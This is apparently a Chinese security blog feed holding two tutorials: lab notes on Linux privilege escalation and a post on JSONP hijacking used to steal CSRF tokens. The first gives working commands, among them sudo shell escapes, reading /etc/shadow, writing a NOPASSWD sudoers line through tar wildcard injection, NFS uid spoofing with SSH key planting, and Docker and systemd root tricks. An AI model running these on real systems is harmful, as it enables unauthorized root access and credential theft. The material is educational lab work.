提交之后便会返回webshell路径
本文是在阅读了in.security 提权靶场通关手册
后学习的一点总结和记录,作为笔记供以后使用查阅。原文链接将附在文末。
获取到一个shell后,要进行一系列的信息收集,以获取更多的提权思路。
检测当前用户权限
whoami
id
查看系统的发行版本和内核版本
lsb_release -a
uname -a
查看suid文件
/etc/passwd
文件及隐藏文件等收集到的信息越多,越能找到更多的突破口。
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。普通用户可以通过sudo -l
命令查看可以执行哪些命令。这样普通用户就可以在不知道root密码的情况下使用这些命令。因为用户使用sudo
命令时需验证自己身份,因此这个方法需要知道普通用户的密码。
可以看到靶场bob
用户可以使用awk
curl
man
等很多命令。
那么下面就这些命令展开利用,这里推荐一个在线查询工具:https://gtfobins.github.io/
sudo awk 'BEGIN {system("/bin/sh")}'
这里借助awk
直接获取到root权限
接下来用man
试一下
1 | sudo man man |
利用script
script -q /dev/null
利用curl
读取root文件
curl file:///etc/shadow
其他的都可以通过上面的在线网站查找到利用方式,这里不一一例举了。
如果系统管理员设置了计划任务并以root权限运行,比如周期性的运行某一个脚本,如果普通有权限修改这个脚本的话,便可以执行任意命令造成权限提升。
此外还有一个Crontab Tar通配符注入,当计划任务中以root权限进行tar命令操作时,可以造成通配符注入进行权限提升。下面在靶场中进行展示。
查看/etc/crontab
,可以看到每分钟执行了backup
脚本
查看backup内容,进行了tar打包操作,
然后便可以进行提权操作了
1 | echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh |
等一分钟后,待计划任务完成,使用sudo bash
,便会提升至root权限。
那么在第一步说到的信息收集中,查看/etc/crontab
也应该被列为信息收集的一步,说不定就会有意想不到的收获。
所以在设定计划任务时要注意一些问题:
suid是指二进制文件在执行时拥有其拥有者owner的权限,例如passwd
命令
使用find / -user root -perm -4000 2>/dev/null
或者find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
查找所有owner为root且为suid的二进制文件
查看其中一个/usr/bin/taskset
,在前面提到的在线网站GTFOBins查看命令
sudo taskset 1 /bin/sh
直接获取到root权限
nmap扫描一下nmap -T4 -sS -Pn 192.168.111.122
发现了2049端口开启的nfs服务,nfs,英文全称Network File System,即网络文件系统,是由SUN公司研制的UNIX表示层协议,能使使用者访问网络上别处的文件就像在使用自己的计算机一样。
这里使用两外一台机器对其进行访问。
首先showmount -e 192.168.111.122
查看可以访问的目录。
将其挂载到本地进行查看
我们在挂载的/mnt/peter
目录是没有写权限的,但是由于其所有者uid设定1001,所属组gid设定1005,所有只需要本地创建一个uid为1001,gid为1005的用户即可绕过其权限验证。
创建一个符合要求的用户后,即可执行写操作了。
生成新创建用户boogle的ssh公钥对和私钥对。
因为现在又对peter家目录的写权限,所以现在可以直接将上面的公钥对写入到peter的.ssh
目录下,这样便可以直接使用ssh登陆获取peter用户的shell。
查看上面peter发现其属于docker
组用户
docker组用户的权限还是非常大的,相当于root权限了。可以借助其提权到root权限。
思路参考:普通用户借助Docker容器提权思路分享。
还有一个具体的利用代码:https://github.com/chrisfosterelli/dockerrootplease
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
查看文件,并且peter用户有对其读写的权限。
修改其配置ExecStart指向我们自定义的二进制文件,其启动时便会以root用户执行这个文件。
创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh
重启之前便会生成systemdbash文件
复制前面的ssh公钥到root用户下
然后便可以直接ssh登陆到root
又遇到了ubuntu18.04的网络问题,这里记录一下,他日备用。
如果是虚拟机,首先在物理机中查看服务,查看下面内容是否已经启动,没有则启动。
虚拟机配置为NAT模式,小图标显示网卡启动成功,但是使用ifconfig
却看不到网卡信息。
执行命令if a
,这里ens33
网卡在ifconfig
中并没有显示出来。(下图是配置好后截图)
然后编辑interfaces文件 sudo vi /etc/network/interfaces
这里并没有ens33
配置信息,添加一下。
添加内容
1 | auto ens33 |
保存配置后重启网络/etc/init.d/networking restart
网络通畅。
ubuntu18.04 LTS后使用netplan
配置网络,此时当查看interfaces
文件时会发现下面的提示。
这时要修改/etc/netplan/50-cloud-init.yaml
文件
sudo netplan apply
使配置生效。
此外还可能存在防火墙配置问题,比如ufw
sudo ufw disable
如果后期遇到其他问题,将继续作补充。
]]>jsonp在跨域资源共享方面已存在了好多年,jsonp劫持技术也已被大佬们用烂了,本篇文章从介绍什么是jsonp开始,由浅入深介绍jsonp劫持漏洞产生的前因后果。重新拾一拾这个被遗忘在角落的漏洞。
所谓jsonp,其实是聪明的程序们为了克服同源策略实现跨域资源共享的一种方式,一经出现便得到广泛应用,逐渐成为一种非官方跨域数据交换协议。而它与json又有什么关系呢?准确来说关系不大,只不过json作为一种轻量级的数据交换格式,能够被多种语言直接使用,因此jsonp这种数据共享方式也使用了json格式来共享数据,即JSON with Padding。既然json只是一种数据交换格式,那么使用jsonp这种方式共享其他数据格式也是可以的,比如说直接用字符串。
既然json就能够直接被多种语言直接使用,为啥在进行数据交换时还得padding一下,变为jsonp呢?其实在上面就已经提到过了,jsonp并不是简单的为了数据交换,而是实现跨域资源共享。我们知道,因为同源策略的存在,致使资源不能跨域访问,这时如果想跨域进行资源访问,就可以使用jsonp这种方式了。
下面我们搭建一个简单的环境理解一下,json.json
文件中保存要共享的资源,get_json.html
用于获取资源
1 | //json.json |
1 | //get_json.html |
在同源环境进行数据获取时,一切正常。
将get_json.html
放在与json.json
不同源的地方访问时,会出现报错
那为啥jsonp为啥能进行跨域资源访问呢?如果你足够仔细,便会发现在上面get_json.html
代码的第一行,<script>
标签中是引用了百度的jquery
,但是这个http://libs.baidu.com
与我们的数据完完全全是不同源的呀,为啥可以这样引用呢,这是因为<script>
标签并不遵循同源策略,可以直接进行跨域资源访问。而聪明的程序员们也正是利用了这一点,实现了jsonp
.
既然<script>
标签可以跨域,那么便可以直接构造一个<script>
标签进行跨域资源访问了
1 | //get_jsonp.html |
访问之后却报错了。此时虽然报错,但是仔细观察一下,这时其实已经访问到跨域的json.json
文件了,只不过该文件中的内容并不符合javascript
代码规范,导致了报错。
此时只需将json.json
中的内容按照代码规范去规定,便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法,并带入参数即可,这也就是jsonp
的核心原理。
重新写一下get_jsonp.html
和定义json.json
的文件内容
1 | //get_jsonp.html |
在json.json中按照javascript
代码规范调用callback
函数,并将数据作为参数传入
1 | //json.json |
成功实现跨域资源访问
说到现在,jsonp
在实现跨域资源访问这方面确实是一种不错的选择,可以说是广大程序员们智慧的结晶,但是任何事物都有两面性,jsonp
也不例外。如果通过一些敏感的数据通过这种方式去传输,便很容易造成信息泄露,但这并不是jsonp
引起的,因为即使使用json
格式,去传输上面的类似的账号密码信息,攻击者一样可以通过直接访问获取到敏感数据。但是,因为jsonp
实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引起csrf
,即jsonp劫持。
比如说,一个用户发表文章的操作,需要验证token
防止csrf,而这个token
的获取,确是通过jsonp这种方式,那么攻击者便可以在自己的网页实现跨域获取token,并让这个用户发表文章。此时只要用户点击这个页面,便会神不知鬼不觉的发表一篇文章,如果发表的文章中带有这个恶意页面链接,那么所有点击的人都会发送这样一篇文章,从而实现csrf蠕虫。而且由于jsonp
跨域的操作,使得原本可以预防csrf的token形同虚设。
在乌云上一搜,可以看到许多大厂都有过jsonp劫持的案例
这里简单写一个演示demo去理解,为了方便,代码中涉及到的token等都被写死了。
模拟一个发表文章页面,只有在token正确的情况下才会发表,避免了csrf。
1 |
|
跟之前一样,token被保存在json.json
1 | callback({"username":"boogle","password":"zhengbao.wang","token":"NKJJDkajwdadwdad_csrf_token_test"}) |
现在模拟黑客,写一个页面诱导用户点击
1 | //hello.html |
此时攻击者将页面存放在自己的服务器http://192.168.111.1/hello.html
,并诱导用户点击。
可以看到,token被获取到并成功验证,发表了一篇文章。
jsonp劫持漏洞的挖掘,可以借助于搜索引擎,使用Google Hacking
语法针对目标站点进行关键词搜索。
比如
1 | site:zhengbao.wang inurl:callback |
常见的关键词有
1 | callback |
此外,还可以在对目标站点浏览器时,打开F12
开发者工具,点击network
窗口并勾选preserve log
,查看请求记录并进行关键词筛选。
筛选的依据同样可以从上面的关键词中挑选
查找到后需要进行确认,判断其是否是真的jsonp方法,可通过跨域浏览实现,将前面的get_jsonp.html
进行修改,<script>
标签内的src
改为目标url,将callback
等关键词后面的回调函数名改为我们定义的函数名称。修改完后,放在我们的站点继续访问
能够获取到数据即可确定
当然,并不是所有的数据都是有用的,应重点关注一些敏感信息泄露及csrf token
等,便于后续利用。
文中所提到的demo,为了简单,都已经写死了,但是真正的jsonp在使用起来可以变得更加复杂,包括可以获取动态的token值,可以使用动态的callback函数等,本文旨在对jsonp即jsonp劫持漏洞的扫盲,更多的操作可查阅详细的资料。
参考文章:
https://m.php.cn/article/394158.html
https://www.leavesongs.com/HTML/sina-jsonp-hijacking-csrf-worm.html
]]>